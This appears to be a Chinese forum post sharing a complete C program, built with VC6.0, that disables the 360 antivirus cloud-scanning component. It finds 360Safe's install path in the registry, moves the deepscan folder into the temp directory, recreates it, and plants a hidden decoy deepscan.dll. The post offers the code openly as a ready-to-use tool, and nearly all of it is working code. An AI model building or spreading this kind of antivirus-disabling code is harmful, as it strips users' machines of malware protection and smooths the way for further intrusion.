把下面的代码保存为一个cpp文件,用vc6.0编译即可
用了一个API函数 MoveFile ,把360云查杀的文件夹移动到temp目录,这样就让云查杀失效了,对开了保险箱的也是有效的
c 代码
01.// ****************************************** fuck 360.cpp ***********************************************
02.// By:洪流
03.#pragma comment(linker, "/OPT:NOWIN98")
04.#pragma comment(linker, "/merge:.data=.text")
05.#pragma comment(linker, "/merge:.rdata=.text")
06.#pragma comment(linker, "/align:0x200")
07.#pragma comment(linker, "/subsystem:windows")
08.#include <windows.h>
09.#include <stdio.h>
10.#pragma comment(lib,"MSVCRT.lib")
11.#pragma comment(linker,"/ENTRY:Torrent /FILEALIGN:0x200 /MERGE:.data=.text /MERGE:.rdata=.text CTION:.text,EWR /IGNORE:4078")
12.void Torrent()
13.{
14.HKEY hKey = NULL;
15.DWORD len=MAX_PATH;
16.DWORD type=REG_SZ;
17.char pBuf[200];
18.RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\App Paths\\360Safe.exe",0,KEY_ALL_ACCESS,&hKey);
19.if (RegQueryValueEx(hKey, "Path" , NULL, &type, (unsigned char*)pBuf, &len) == ERROR_SUCCESS)
20.{
21.char TempPath[200];
22.char exe[200];
23.char dll[200];
24.char exe_1[200];
25.char dll_1[200];
26.GetTempPath(sizeof(TempPath),TempPath);
27.wsprintf(TempPath,"%s\\tmp",TempPath);
28.wsprintf(pBuf,"%s\\deepscan",pBuf);
29.MoveFile(pBuf,TempPath);
30.CreateDirectory(pBuf,NULL);
31.wsprintf(exe,"%s\\360deepscan.exe",TempPath);
32.wsprintf(dll,"%s\\360wservice.dll",TempPath);
33.wsprintf(exe_1,"%s\\360deepscan.exe",pBuf);
34.wsprintf(dll_1,"%s\\360wservice.dll",pBuf);
35.CopyFile(exe,exe_1,FALSE);
36.CopyFile(dll,dll_1,FALSE);
37.FILE *file;
38.strcat(pBuf,"\\deepscan.dll");
39.file=fopen(pBuf,"w");
40.char fuck[10];
41.wsprintf(fuck,"deepscan");
42.fputs(fuck,file);
43.fclose(file);
44.SetFileAttributes(pBuf, FILE_ATTRIBUTE_HIDDEN);
45.}
46.RegCloseKey(hKey);
47.}
48.//